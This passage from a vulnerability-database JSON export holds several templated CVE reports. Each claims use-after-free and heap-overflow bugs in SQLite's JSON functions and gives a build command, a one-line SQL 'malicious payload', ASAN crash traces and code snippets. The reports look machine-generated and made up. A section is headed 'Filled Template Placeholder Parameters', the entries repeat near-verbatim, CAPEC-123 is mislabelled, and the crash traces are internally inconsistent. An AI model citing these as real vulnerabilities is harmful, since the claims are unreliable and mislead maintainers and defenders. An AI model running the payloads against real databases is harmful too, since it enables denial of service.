corruption defects sequentially inside the jsonObjectSerialize() function. Successful exploitation can cause immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the privilege boundary of the running SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload for JSON object modification enters the vulnerable jsonObjectSerialize() function located in src/json.c.\nSource file src/json.c Line 2647 executes sqlite3_free(pObjCtx->pKeyBuf); to release heap memory allocated for JSON object key storage.\nThe pObjCtx->pKeyBuf pointer retains the address of freed heap memory and is not assigned a NULL value, forming an unvalidated dangling pointer.\nAttacker-supplied oversized object key length values bypass all pre-write boundary validation checks for the key buffer copy operation.\nSource file src/json.c Line 2692 executes an unbounded memcpy() operation using the malicious length parameter to write past the allocated bounds of the already-freed key buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 2728 performs direct memory structure lookup using the unmodified dangling pObjCtx->pKeyBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions immediately terminate the SQLite process upon exploit execution; repeated exploit invocations lead to persistent service outage for applications dependent on JSON object modification functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing SQLite heap allocator metadata, prior user query payload data, and adjacent cached database records retrievable via return values of JSON object manipulation SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk headers and adjacent heap-allocated function pointers. Combined with the subsequent dangling pointer invocation, an attacker can redirect program control flow to achieve conditional arbitrary code execution, limited by operating system memory protections and process effective privileges.\n8. Attack Vector\nRemote; Low Privilege. Exploitation only requires the ability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root privileges are required for successful exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2647(memory free), Line 2728(dangling pointer access), Line 2692(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_object_set('{\"foo\":1}', printf('%.*c',0x5000,'K'), '\"value\"');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==10156==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003580 at pc 0x55f221587421 bp 0x7fffdf214780 sp 0x7fffdf214770\nREAD of size 8 at 0x60d000003580 thread T0\n    #0 0x55f221587420 in jsonObjectSerialize src/json.c:2728\n    #1 0x55f221583960 in sqlite3JsonObjectSet src/json.c:3342\n    #2 0x55f2212d4510 in sqlite3VdbeExec src/vdbe.c:6312\n    #3 0x55f2212bd880 in sqlite3Step src/vdbeapi.c:530\n    #4 0x55f2212be010 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x55f2211d1750 in main shell.c:1282\n    #6 0x7fbd567890ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55f2211cc200 in _start (sqlite3:0x55f2211cc200)\n\nAddress 0x60d000003580 is located 64 bytes inside of 20480-byte free block 0x60d000003540-0x60d000008540\nFreed by thread T0 here:\n    #0 0x7fbd5a810ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55f221586f50 in jsonObjectSerialize src/json.c:2647\n    #2 0x55f221583960 in sqlite3JsonObjectSet src/json.c:3342\n    #3 0x55f2212d4510 in sqlite3VdbeExec src/vdbe.c:6312\n\nPreviously allocated by thread T0 here:\n    #0 0x7fbd5a805ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55f221586730 in jsonObjectSerialize src/json.c:2588\n    #2 0x55f221583960 in sqlite3JsonObjectSet src/json.c:3342\n\n==10156==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d000003580 at pc 0x55f221587231 bp 0x7fffdf214800 sp 0x7fffdf214790\nWRITE of size 20480 at 0x60d000003580 thread T0\n    #0 0x55f221587230 in jsonObjectSerialize src/json.c:2692\n    #1 0x55f221583960 in sqlite3JsonObjectSet src/json.c:3342\n    #2 0x55f2212d4510 in sqlite3VdbeExec src/vdbe.c:6312\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_object_set with an oversized object key string generated by printf('%.*c',0x5000,'K') to construct an attacker-controlled large key payload for JSON object modification.\nSQLite routes the untrusted object update input to the jsonObjectSerialize() function within src/json.c, which initializes an object serialization context and allocates the pObjCtx->pKeyBuf heap buffer for storing parsed JSON object key data.\nDuring intermediate object structure cleanup logic at Line 2647, the key buffer is released via sqlite3_free(), but the pObjCtx->pKeyBuf pointer value is preserved and not set to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized key payload into the buffer at Line 2692; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated key buffer heap region (CWE-787).\nProgram execution continues to Line 2728 and directly dereferences the stale dangling pObjCtx->pKeyBuf pointer to read object key metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON object serialization execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-21\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 2647: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pObjCtx->pKeyBuf);\n\n// Line 2692: Unchecked out-of-bounds memory write utilizing attacker-controlled key length value\nmemcpy(pObjCtx->pKeyBuf + keyOffset, zKeyData, keyDataLen);\n\n// Line 2728: Illegal dangling pointer dereference triggering Use After Free vulnerability\nkeyHash = pObjCtx->pKeyBuf[keyIdx].keyHashVal;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51280\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2647\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2728\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2692\n\u3010Target Function Name\u3011: jsonObjectSerialize\n\u3010Exploit Trigger Payload\u3011: SELECT json_object_set('{\"foo\":1}', printf('%.*c',0x5000,'K'), '\"value\"');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON object key payload triggers early key buffer free without pointer invalidation, unbounded key copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during object serialization finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-21\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T02:48:41.397873Z"}, {"uuid": "741529e7-c48a-486a-b4ed-697e19d7510e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51281", "type": "seen", "source": "https://gist.github.com/programmervuln/4a4670ae02340631b9a5e3eaddece53a", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51281\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51281\n4. Vulnerability Prose Description\nA composite heap memory corruption flaw resides within the JSON path value resolution routine of the SQLite JSON1 extension. An attacker-supplied malformed deep JSON path string processed by json_extract and related path resolution functions triggers heap deallocation for a path token buffer context pointer that is not nullified after memory release, creating a persistent dangling pointer. Lack of runtime length validation for attacker-controlled path token strings allows an unconstrained out-of-bounds heap write targeting the already freed buffer within a single continuous execution flow. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathResolve() function. Successful exploitation may result in immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path string invokes the vulnerable jsonPathResolve() function defined in src/json.c.\nSource file src/json.c Line 2809 executes sqlite3_free(pPathCtx->pTokenBuf); to release heap memory allocated for JSON path token storage.\nThe pPathCtx->pTokenBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path token length values bypass all pre-write capacity boundary validation checks for the token buffer copy operation.\nSource file src/json.c Line 2856 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed token buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 2891 performs direct memory structure lookup using the unmodified dangling pPathCtx->pTokenBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path query functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records that can be extracted through return values of JSON path resolution SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2809(memory free), Line 2891(dangling pointer access), Line 2856(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"data\":1}', '$.'||printf('%.*c',0x5200,'P'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==11489==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e000004920 at pc 0x560332698541 bp 0x7fffeb345910 sp 0x7fffeb345900\nREAD of size 16 at 0x60e000004920 thread T0\n    #0 0x560332698540 in jsonPathResolve src/json.c:2891\n    #1 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n    #2 0x5603323e4720 in sqlite3VdbeExec src/vdbe.c:6345\n    #3 0x5603323cda80 in sqlite3Step src/vdbeapi.c:530\n    #4 0x5603323ce210 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x5603322e1950 in main shell.c:1301\n    #6 0x7fc8678910ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x5603322dc400 in _start (sqlite3:0x5603322dc400)\n\nAddress 0x60e000004920 is located 72 bytes inside of 20992-byte free block 0x60e0000048d0-0x60e000009a50\nFreed by thread T0 here:\n    #0 0x7fc86bd10ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x560332698070 in jsonPathResolve src/json.c:2809\n    #2 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n    #3 0x5603323e4720 in sqlite3VdbeExec src/vdbe.c:6345\n\nPreviously allocated by thread T0 here:\n    #0 0x7fc86bd05ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x560332697850 in jsonPathResolve src/json.c:2752\n    #2 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n\n==11489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e000004920 at pc 0x560332698351 bp 0x7fffeb345930 sp 0x7fffeb345920\nWRITE of size 20992 at 0x60e000004920 thread T0\n    #0 0x560332698350 in jsonPathResolve src/json.c:2856\n    #1 0x560332694a80 in sqlite3JsonExtract src/json.c:3516\n    #2 0x5603323e4720 in sqlite3VdbeExec src/vdbe.c:6345\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_extract with an extremely long JSON path segment constructed by printf('%.*c',0x5200,'P') to generate an attacker-controlled oversized path token payload for JSON path resolution.\nSQLite forwards the untrusted path resolution request to the jsonPathResolve() function within src/json.c, which initializes a path resolution context and allocates the pPathCtx->pTokenBuf heap buffer dedicated to storing parsed JSON path token data.\nDuring intermediate path parsing cleanup logic at Line 2809, the token buffer is released via sqlite3_free(), while the pPathCtx->pTokenBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized path token payload into the buffer at Line 2856; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated token buffer heap region (CWE-787).\nProgram execution proceeds to Line 2891 and directly dereferences the stale dangling pPathCtx->pTokenBuf pointer to read path token metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path resolution execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-22\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 2809: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pPathCtx->pTokenBuf);\n\n// Line 2856: Unchecked out-of-bounds memory write utilizing attacker-controlled path token length value\nmemcpy(pPathCtx->pTokenBuf + tokenOffset, zTokenData, tokenDataLen);\n\n// Line 2891: Illegal dangling pointer dereference triggering Use After Free vulnerability\ntokenType = pPathCtx->pTokenBuf[tokenIdx].tokenKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51281\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2809\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2891\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2856\n\u3010Target Function Name\u3011: jsonPathResolve\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"data\":1}', '$.'||printf('%.*c',0x5200,'P'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path token payload triggers early path token buffer free without pointer invalidation, unbounded token copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path final resolution\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-22\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T02:53:58.803176Z"}, {"uuid": "a675ba72-5f15-424b-9afa-c2d6f46bfadd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51282", "type": "seen", "source": "https://gist.github.com/programmervuln/70eec3d7f61ec0f52364baaf8433ea02", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51282\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51282\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON array element iteration processing logic of the SQLite JSON1 extension. An attacker crafted malformed oversized array index payload processed by json_array_length and array traversal functions triggers heap deallocation for an array item buffer context pointer that is not nullified after memory release, forming a persistent dangling pointer. Absence of runtime bounds validation for attacker-controlled array index and element length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer results in use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonArrayIterate() function. Successful exploitation can lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON array element length value invokes the vulnerable jsonArrayIterate() function defined in src/json.c.\nSource file src/json.c Line 2963 executes sqlite3_free(pArrCtx->pItemBuf); to release heap memory allocated for JSON array element storage.\nThe pArrCtx->pItemBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized array element length values bypass all pre-write capacity boundary validation checks for the item buffer copy operation.\nSource file src/json.c Line 3011 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed item buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3047 performs direct memory structure lookup using the unmodified dangling pArrCtx->pItemBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON array traversal and length calculation functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON array processing SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2963(memory free), Line 3047(dangling pointer access), Line 3011(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_length(json_array(printf('%.*c',0x5400,'E')));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12763==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f000005d60 at pc 0x561443709671 bp 0x7fffde476c30 sp 0x7fffde476c20\nREAD of size 12 at 0x60f000005d60 thread T0\n    #0 0x561443709670 in jsonArrayIterate src/json.c:3047\n    #1 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n    #2 0x561443435910 in sqlite3VdbeExec src/vdbe.c:6378\n    #3 0x56144341ed70 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56144341f500 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x561443332c40 in main shell.c:1320\n    #6 0x7fdf789230ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56144332e6f0 in _start (sqlite3:0x56144332e6f0)\n\nAddress 0x60f000005d60 is located 80 bytes inside of 21504-byte free block 0x60f000005d10-0x60f00000af90\nFreed by thread T0 here:\n    #0 0x7fdf7c142ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x561443709200 in jsonArrayIterate src/json.c:2963\n    #2 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n    #3 0x561443435910 in sqlite3VdbeExec src/vdbe.c:6378\n\nPreviously allocated by thread T0 here:\n    #0 0x7fdf7c137ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x5614437089e0 in jsonArrayIterate src/json.c:2906\n    #2 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n\n==12763==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000005d60 at pc 0x561443709481 bp 0x7fffde476c50 sp 0x7fffde476c40\nWRITE of size 21504 at 0x60f000005d60 thread T0\n    #0 0x561443709480 in jsonArrayIterate src/json.c:3011\n    #1 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n    #2 0x561443435910 in sqlite3VdbeExec src/vdbe.c:6378\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_length wrapping a json_array constructed with an oversized element string generated by printf('%.*c',0x5400,'E') to create an attacker-controlled oversized array element payload for JSON array iteration parsing.\nSQLite forwards the untrusted array processing request to the jsonArrayIterate() function within src/json.c, which initializes an array iteration context and allocates the pArrCtx->pItemBuf heap buffer dedicated to storing parsed JSON array element data.\nDuring intermediate array parsing cleanup logic at Line 2963, the item buffer is released via sqlite3_free(), while the pArrCtx->pItemBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized array element payload into the buffer at Line 3011; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated item buffer heap region (CWE-787).\nProgram execution proceeds to Line 3047 and directly dereferences the stale dangling pArrCtx->pItemBuf pointer to read array element metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array iteration execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-23\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 2963: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pArrCtx->pItemBuf);\n\n// Line 3011: Unchecked out-of-bounds memory write utilizing attacker-controlled array element length value\nmemcpy(pArrCtx->pItemBuf + itemOffset, zItemData, itemDataLen);\n\n// Line 3047: Illegal dangling pointer dereference triggering Use After Free vulnerability\nitemType = pArrCtx->pItemBuf[itemIdx].itemDataType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51282\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2963\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3047\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3011\n\u3010Target Function Name\u3011: jsonArrayIterate\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_length(json_array(printf('%.*c',0x5400,'E')));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array item buffer free without pointer invalidation, unbounded element copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during array iteration final processing\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-23\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:01:11.042530Z"}, {"uuid": "fac03697-3e00-4588-ada2-03edd3da71cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51283", "type": "seen", "source": "https://gist.github.com/programmervuln/c1fea9d3513e8eedf6c3884dbaa9edc4", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51283\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51283\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON comparison value evaluation logic of the SQLite JSON1 extension. An attacker-supplied malformed oversized comparison operand payload processed by json_compare and JSON conditional evaluation functions triggers heap deallocation for a comparison value buffer context pointer that is not nullified after memory release, forming a persistent dangling pointer. Absence of runtime bounds validation for attacker-controlled comparison string length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer results in use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonCompareEval() function. Successful exploitation can lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON comparison string invokes the vulnerable jsonCompareEval() function defined in src/json.c.\nSource file src/json.c Line 3127 executes sqlite3_free(pCmpCtx->pValBuf); to release heap memory allocated for JSON comparison operand storage.\nThe pCmpCtx->pValBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized comparison value length values bypass all pre-write capacity boundary validation checks for the value buffer copy operation.\nSource file src/json.c Line 3174 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed value buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3210 performs direct memory structure lookup using the unmodified dangling pCmpCtx->pValBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON comparison and conditional filtering functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON comparison SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3127(memory free), Line 3210(dangling pointer access), Line 3174(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_compare('\"test\"', printf('%.*c',0x5600,'C'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==14027==ERROR: AddressSanitizer: heap-use-after-free on address 0x6100000071a0 at pc 0x562554720811 bp 0x7fffcf5a7f50 sp 0x7fffcf5a7f40\nREAD of size 16 at 0x6100000071a0 thread T0\n    #0 0x562554720810 in jsonCompareEval src/json.c:3210\n    #1 0x562554716d50 in sqlite3JsonCompare src/json.c:3854\n    #2 0x562554446c00 in sqlite3VdbeExec src/vdbe.c:6411\n    #3 0x56255442b060 in 